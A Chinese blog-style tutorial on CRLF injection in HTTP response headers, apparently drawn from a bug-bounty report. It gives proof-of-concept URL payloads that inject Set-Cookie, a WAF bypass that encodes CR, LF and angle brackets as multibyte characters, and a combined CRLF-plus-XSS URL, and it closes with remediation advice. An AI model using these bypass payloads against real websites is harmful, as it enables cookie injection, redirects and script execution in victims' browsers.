前言

之前一直没关注过这个类型的漏洞，因为危害实在有限，直到我看到了一篇文章

啊这，一个微软的CRLF居然值6000刀，只能说不愧是微软，真有钱，不说了赶紧学起来。

什么是CRLF？

CRLF 是指特殊字符元素“CR：回车”和“LF：换行”。这些元素嵌入在 HTTP 标头中以表示行结束 (EOL) 标记。因此，每当服务器收到CRLF时，服务器就会假定到了行尾。

什么是CRLF注入？

当 Web 服务器直接渲染这些特殊字符而不对其进行编码并将其传递给响应标头（例如 Location、Set-Cookie 等）时，就会发生 CRLF 注入。

所以基本上，当 Web 应用程序容易受到 CRLF 注入的攻击时，攻击者就可以发送特殊字符作为Payloads，服务器会将其解析为行尾，在CRLF之后，如果再发送任何文本，服务器会将它们设置为响应头。一旦设置任意标头，就相当于可以在受害者的浏览器中设置 cookie 一样，或者可以设置“Location:”标头来强制受害者重定向到恶意网站。

常见poc

/%0D%0A%20Set-Cookie:whoami=yueying
/%20%0D%0ASet-Cookie:whoami=yueying
/%0A%20Set-Cookie:whoami=yueying
/%2F%2E%2E%0D%0ASet-Cookie:whoami=yueying

没有获得任何类型的 CRLF 注入。响应是“400 Bad Request”，HTML 是“HTTP Error 400，The requested URL is invalid。”

当 CRLF 不存在或服务器受到良好保护时，Web 服务器应该返回“404 Not Found”，因为如果服务器受到良好保护并且我们输入 CRLF Payloads，服务器会将该有效负载解析为URL 的一部分，在这种情况下，服务器实际上将“%0D%0A%20Set-Cookie:whoami=yueying”解析为路径，而不是Payloads。

如果没有像“%0D%0A%20Set-Cookie:whoami=yueying”这样的路径或目录，服务器应该返回“404 Not Found”而不是“400 Bad Request”

因此可以判断服务器的保护措施并不是很到位。为了确认想法，可以尝试随机URL：

https://xxx.xxx.com/abcxyzabcxyz

如果返回404，那就说明之前的400并不是不存在crlf漏洞，而是被waf过滤了

这里大佬用的是gbk编码绕过的

BeforeURL Encoding
Main Payload:- 嘍嘊

AfterURL Encoding
嘍 :- %E5%98%8D
嘊 :- %E5%98%8A

完整poc如下

https://xx.xxx.com/%E5%98%8D%E5%98%8ASet-Cookie:crlfinjection=yueying

这次成功响应了301，并且set-cookie的内容在response中回显了出来

xss

常规crlf + xss

/%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

gbk编码绕过

“<” --> 嘼 --> %E5%98%BC
“>” --> 嘾 --> %E5%98%BE
“回车” --> 嘍 --> %E5%98%8D
“换行” --> 嘊 --> %E5%98%8A
https://xxx.xxx.com/%E5%98%8D%E5%98%8ASet-Cookie:whoami=thecyberneh%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%BCscript%E5%98%BEalert(1);%E5%98%BC/script%E5%98%BE

成功弹窗

修复方案

1、最简单的方法，装WAF……
2、对用户的数据进行合法性校验，对特殊的字符进行编码，如<、>、’、”、CR、LF等，限制用户输入的CR和LF，或者对CR和LF字符正确编码后再输出，以防止注入自定义HTTP头。 创建安全字符白名单，只接受白名单中的字符出现在HTTP响应头文件中。在将数据传送到http响应头之前，删除所有的换行符。